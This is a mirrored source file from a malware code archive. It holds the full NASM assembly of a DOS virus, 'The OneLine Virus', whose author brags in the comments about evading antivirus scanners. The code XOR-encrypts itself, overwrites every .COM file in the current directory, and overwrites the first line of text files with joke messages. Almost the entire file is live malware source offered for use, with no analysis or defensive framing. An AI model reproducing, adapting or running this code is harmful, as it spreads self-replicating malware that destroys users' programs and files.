mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
135 lines
2.5 KiB
NASM
135 lines
2.5 KiB
NASM
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; ------------------------------------------------------------
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; -- The OneLine Virus --
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; -- By Arsonic[CodeBreakers] --
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; -- HTTP://CODEBREAKERS.SIMPLENET.COM --
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; ------------------------------------------------------------
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; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of
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; shit. it will infect all *.com file in the current directory and overwrite
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; the first line of all text files found with Famous Lines And Stuff..
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; Detected By:
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; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :)
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; FPROT: ??? did'n have it on my computer at the time of scanning..
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; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one..
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jmp crypt_start
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start:
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mov di,si
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mov cx,crypt_start
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call crypt
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jmp crypt_start
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crypt:
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xorloop:
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lodsb
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xor al,byte ptr[xor_value]
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stosb
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loop xorloop
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ret
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xor_value db 0
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crypt_start:
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mov ah,4eh
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lea dx,mask
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int 21h
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jnc infect
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jmp text
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infect:
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mov ax,3d02h
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mov dx,9eh
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int 21h
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mov bx,ax
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; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision
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in al,40h
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mov byte ptr [xor_value],al
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lea si,crypt_start
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lea di,end
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mov cx,end - crypt_start
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call crypt
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mov ah,40h
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mov cx,crypt_start - start
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lea dx,start
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int 21h
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mov ah,40h
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mov cx,end - crypt_start
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lea dx,end
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int 21h
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mov ah,3eh
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int 21h
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jmp find_next
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find_next:
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mov ah,3fh
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int 21h
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jnc infect
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jmp text
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text:
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mov ah,4eh
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lea dx,textmask
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int 21h
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jnc text_payload
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jmp close
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text_payload:
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mov ax,3d02h
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mov dx,9eh
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int 21h
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mov ah,40h
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mov cx,message_end - message_start
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lea dx,message_start
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int 21h
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mov ah,3fh
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int 21h
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jmp text_findnext
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text_findnext:
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mov ah,4fh
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int 21h
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jnc text_payload
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jmp close
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message_start:
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db 'LEGALIZE CANNABUS!'
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db 'HO HO HO.. NOW I HAVE A MACHINE GUN!'
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db 'This is another 60 minutes...'
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db 'Burn Baby, BURN!'
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db 'Keep The Opressor Opressing..'
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db 'Have U Had Your Break TodaY?'
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db 'Oh I Wish I Was A Ocsar Myer Wiener!'
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db 'What Came First The Chicken Or the Egg?'
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db 'Help Me.. Help You!'
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db 'SHOW ME THE MONEY!!'
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db 'Take it Off Baby!'
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db 'ADRIAN!!!!'
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db 'Where do You Want To Go Today?'
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db 'We Are the Shitty VR! VRLAND SUX SHIT!'
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db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
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message_end:
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close:
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int 20h
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mask db '*.com',0
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textmask db '*.txt',0
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author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
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virus db 'THE OnELINE VIRUS',13,10,'$'
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origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
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end:
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